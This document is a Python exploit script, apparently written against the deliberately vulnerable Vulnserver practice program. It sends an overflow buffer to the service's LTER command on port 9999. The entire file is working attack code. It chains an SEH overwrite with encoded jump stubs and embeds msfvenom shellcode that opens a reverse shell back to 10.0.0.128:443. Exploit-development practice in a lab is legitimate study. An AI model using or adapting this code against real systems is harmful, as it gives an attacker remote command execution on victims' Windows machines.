#!/usr/bin/python

import socket
import os
import sys
from struct import pack

host = "10.0.0.130"
port = 9999

seh = pack("<L", 0x6250120B) # POP POP RET in essfunc.dll
nseh = "\x74\x06\x90\x90" # JZ 6 bytes forward
espAdj = "\x54\x58\x66\x05\x70\x13\x50\x5c" # Move ESP to bottom of D's
backJump1 = ""
backJump1 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
backJump1 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
backJump1 += "\x05\x76\x40\x50\x50" ## add  eax, 0x50504076
backJump1 += "\x05\x75\x40\x40\x40" ## add  eax, 0x40404075
backJump1 += "\x50"                 ## push eax
espAdj2 = "\x54\x58\x2c\x34\x50\x5c" # Move ESP to bottom of A's
backJump2 = "\x54\x5b"
backJump2 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
backJump2 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
backJump2 += "\x05\x11\x11\x77\x62" ## add  eax, 0x62771111
backJump2 += "\x05\x11\x11\x66\x62" ## add  eax, 0x62661111
backJump2 += "\x05\x11\x11\x55\x42" ## add  eax, 0x42551111
backJump2 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
backJump2 += "\x50"                 ## push eax
backJump2 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
backJump2 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
backJump2 += "\x05\x41\x76\x77\x07" ## add  eax, 0x07777641
backJump2 += "\x05\x40\x75\x66\x06" ## add  eax, 0x06667540
backJump2 += "\x50"                 ## push eax

# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.128 LPORT=443
# -b "\x00" -e x86/alpha_mixed -f python BufferRegister=EBX -v shellcode
# Payload size: 702
shellcode =  ""
shellcode += "\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x59\x6c\x4a\x48\x6f\x72\x53\x30"
shellcode += "\x57\x70\x37\x70\x33\x50\x6f\x79\x39\x75\x76\x51"
shellcode += "\x6b\x70\x52\x44\x6c\x4b\x62\x70\x70\x30\x6e\x6b"
shellcode += "\x72\x72\x34\x4c\x4c\x4b\x72\x72\x76\x74\x4c\x4b"
shellcode += "\x64\x32\x37\x58\x56\x6f\x6e\x57\x32\x6a\x47\x56"
shellcode += "\x46\x51\x4b\x4f\x4c\x6c\x67\x4c\x65\x31\x71\x6c"
shellcode += "\x45\x52\x56\x4c\x65\x70\x7a\x61\x4a\x6f\x76\x6d"
shellcode += "\x65\x51\x59\x57\x4b\x52\x38\x72\x30\x52\x73\x67"
shellcode += "\x6e\x6b\x62\x72\x54\x50\x4c\x4b\x33\x7a\x75\x6c"
shellcode += "\x6c\x4b\x50\x4c\x34\x51\x44\x38\x58\x63\x62\x68"
shellcode += "\x33\x31\x68\x51\x33\x61\x4c\x4b\x71\x49\x77\x50"
shellcode += "\x77\x71\x4b\x63\x6c\x4b\x73\x79\x57\x68\x48\x63"
shellcode += "\x45\x6a\x77\x39\x4e\x6b\x57\x44\x4c\x4b\x53\x31"
shellcode += "\x6b\x66\x55\x61\x69\x6f\x4c\x6c\x4b\x71\x48\x4f"
shellcode += "\x76\x6d\x53\x31\x78\x47\x74\x78\x6d\x30\x32\x55"
shellcode += "\x7a\x56\x44\x43\x73\x4d\x6c\x38\x57\x4b\x51\x6d"
shellcode += "\x36\x44\x34\x35\x6a\x44\x50\x58\x6c\x4b\x70\x58"
shellcode += "\x55\x74\x45\x51\x6b\x63\x45\x36\x6c\x4b\x46\x6c"
shellcode += "\x32\x6b\x4c\x4b\x76\x38\x77\x6c\x46\x61\x5a\x73"
shellcode += "\x4e\x6b\x53\x34\x6e\x6b\x77\x71\x6a\x70\x6f\x79"
shellcode += "\x52\x64\x46\x44\x65\x74\x43\x6b\x61\x4b\x50\x61"
shellcode += "\x66\x39\x53\x6a\x56\x31\x69\x6f\x4b\x50\x63\x6f"
shellcode += "\x73\x6f\x73\x6a\x6c\x4b\x75\x42\x78\x6b\x4c\x4d"
shellcode += "\x31\x4d\x52\x48\x57\x43\x57\x42\x47\x70\x65\x50"
shellcode += "\x63\x58\x64\x37\x63\x43\x57\x42\x63\x6f\x76\x34"
shellcode += "\x75\x38\x70\x4c\x32\x57\x35\x76\x43\x37\x59\x6f"
shellcode += "\x69\x45\x6d\x68\x7a\x30\x37\x71\x33\x30\x47\x70"
shellcode += "\x54\x69\x69\x54\x70\x54\x66\x30\x61\x78\x76\x49"
shellcode += "\x4d\x50\x30\x6b\x33\x30\x4b\x4f\x68\x55\x72\x70"
shellcode += "\x30\x50\x30\x50\x76\x30\x43\x70\x30\x50\x73\x70"
shellcode += "\x70\x50\x51\x78\x6b\x5a\x56\x6f\x69\x4f\x79\x70"
shellcode += "\x69\x6f\x48\x55\x6e\x77\x50\x6a\x47\x75\x45\x38"
shellcode += "\x67\x7a\x75\x50\x75\x50\x6d\x50\x53\x58\x36\x62"
shellcode += "\x33\x30\x76\x61\x4d\x6b\x4d\x59\x4b\x56\x61\x7a"
shellcode += "\x76\x70\x62\x76\x33\x67\x75\x38\x6f\x69\x6f\x55"
shellcode += "\x33\x44\x45\x31\x59\x6f\x69\x45\x6e\x65\x39\x50"
shellcode += "\x43\x44\x66\x6c\x39\x6f\x32\x6e\x37\x78\x32\x55"
shellcode += "\x78\x6c\x72\x48\x68\x70\x4d\x65\x6f\x52\x42\x76"
shellcode += "\x4b\x4f\x4a\x75\x65\x38\x43\x53\x42\x4d\x63\x54"
shellcode += "\x57\x70\x4d\x59\x4a\x43\x50\x57\x63\x67\x51\x47"
shellcode += "\x44\x71\x6b\x46\x72\x4a\x56\x72\x33\x69\x46\x36"
shellcode += "\x58\x62\x59\x6d\x51\x76\x38\x47\x67\x34\x65\x74"
shellcode += "\x35\x6c\x55\x51\x75\x51\x4c\x4d\x50\x44\x34\x64"
shellcode += "\x76\x70\x78\x46\x53\x30\x67\x34\x30\x54\x42\x70"
shellcode += "\x32\x76\x52\x76\x33\x66\x31\x56\x33\x66\x72\x6e"
shellcode += "\x43\x66\x56\x36\x52\x73\x36\x36\x53\x58\x64\x39"
shellcode += "\x68\x4c\x45\x6f\x4d\x56\x79\x6f\x4a\x75\x6c\x49"
shellcode += "\x69\x70\x50\x4e\x62\x76\x31\x56\x69\x6f\x30\x30"
shellcode += "\x61\x78\x35\x58\x6c\x47\x77\x6d\x31\x70\x69\x6f"
shellcode += "\x38\x55\x6d\x6b\x6a\x50\x38\x35\x4d\x72\x52\x76"
shellcode += "\x53\x58\x6d\x76\x6e\x75\x4d\x6d\x4f\x6d\x4b\x4f"
shellcode += "\x59\x45\x55\x6c\x63\x36\x71\x6c\x76\x6a\x4b\x30"
shellcode += "\x59\x6b\x49\x70\x61\x65\x73\x35\x4d\x6b\x63\x77"
shellcode += "\x42\x33\x71\x62\x62\x4f\x43\x5a\x47\x70\x43\x63"
shellcode += "\x59\x6f\x6e\x35\x41\x41"

buffer = shellcode
buffer += "A" * (3468 - len(shellcode))
buffer += espAdj2
buffer += backJump2
buffer += "A" * (3550 - 3468 - len(espAdj2) - len(backJump2) - 10)
buffer += "\x44" # Align stack before shellcode execution with INC ESP
buffer += "A" * 9
buffer += nseh
buffer += seh
buffer += espAdj
buffer += backJump1
buffer += "D" * (4000 -len(buffer))

try:
	print "[*] Sending payload to LTER command [*]\r\n"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	s.recv(1024)
	s.send("LTER ." + buffer)
	s.close()
	print "[*] Payload delivered [*]"

except:
	print "[!] Connection failed, check debugger! [!]"
